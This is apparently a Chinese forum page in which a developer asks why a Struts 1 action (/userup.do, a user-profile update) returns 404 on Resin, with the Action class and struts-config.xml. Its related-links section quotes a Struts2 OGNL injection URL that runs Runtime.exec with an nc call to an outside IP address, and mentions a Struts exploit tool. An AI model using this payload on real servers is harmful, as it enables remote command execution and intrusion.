struts问题严重
404 Not Found
/userup.do was not found on this server.
--------------------------------------------------------------------------------
Resin 2.1.10 (built Wed Jun 18 09:16:53 PDT 2003)
Action代码如下:
public class User_U_Action
extends Action {
public ActionForward execute(ActionMapping actionMapping,
ActionForm actionForm,
HttpServletRequest httpServletRequest,
HttpServletResponse httpServletResponse) {
/**@todo: complete the business logic here, this is just a skeleton.*/
User_ActionForm user_ActionForm = (User_ActionForm) actionForm;
HttpSession session = httpServletRequest.getSession(); //得到session
String name;
name = (String) session.getAttribute("username");
//从session里取出username付给name
String pass = user_ActionForm.getPassword();
//得到密码
String sex = httpServletRequest.getParameter("ser");
String age = httpServletRequest.getParameter("age");
String age2 = httpServletRequest.getParameter("age2");
String age3 = httpServletRequest.getParameter("age3");
//年龄
String paper = httpServletRequest.getParameter("paper");
//证件号
String papertyp = httpServletRequest.getParameter("paperTyp");
//证件类型
String place = httpServletRequest.getParameter("place");
//住址
String phone = httpServletRequest.getParameter("phone");
//电话
String phonetyp = httpServletRequest.getParameter("phoneTyp");
// 电话类型
String ema = httpServletRequest.getParameter("ema");
//得到提交过来的数据
String ageone = new String(age + "-" + age2 + "-" + age3);
//年龄和
User_Work work = new User_Work();
int x = work.Update(name,pass,sex,ageone,paper,papertyp,place,phone,phonetyp,ema);
if(x==0)
{return actionMapping.findForward("upok");}
else if (x==1)
{return actionMapping.findForward("err1");}
else{return actionMapping.findForward("err2");//跳转页面
}
struts-config.xml如下
<action input="/UserWork_Up.jsp" name="user_ActionForm" path="/userup" scope="session" type="useraction.User_U_Action">
<forward name="upok" path="/upok.htm" />
<forward name="err1" path="/error.jsp" />
<forward name="err2" path="/error.jsp" />
</action>
相关推荐
struts2中,在tomcat启动时候总是出现严重
NULL 博文链接:https://blueprint86.iteye.com/blog/998623
struts2开发遇到的问题
strut2开发中我们所遇到的问题和相对应的一些有用的解决方法,
Apache的Struts2框架严重安全漏洞
Apache的Struts2框架最近出了一个很严重的漏洞,可以直接执行系统命令 http://www.163.com?%28%27\u0023_memberAccess[\%27allowStaticMethodAccess\%27]%27%29%28meh%29=true&%28aaa%29%28%28%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003d\u0023foo%27%29%28\u0023foo\u003dnew%20java.lang.Boolean%28%22false%22%29%29%29&%28asdf%29%28%28%27\u0023rt.exec%28%22/usr/bin/nc%2067.205.52.169%208888%22%29%27%29%28\u0023rt\u003d@java.lang.Runtime@getRuntime%28%29%29%29=1
K8_Struts2_EXP 20170310
K8_Struts2_EXP 20170310是一款用于检测项目是否存在Struts系列漏洞的工具,切勿用于恶意破坏,如果造成法律效应作者概不负责。切记,切记,切记!
struts上传问题研究
NULL 博文链接:https://yqshfut.iteye.com/blog/621740



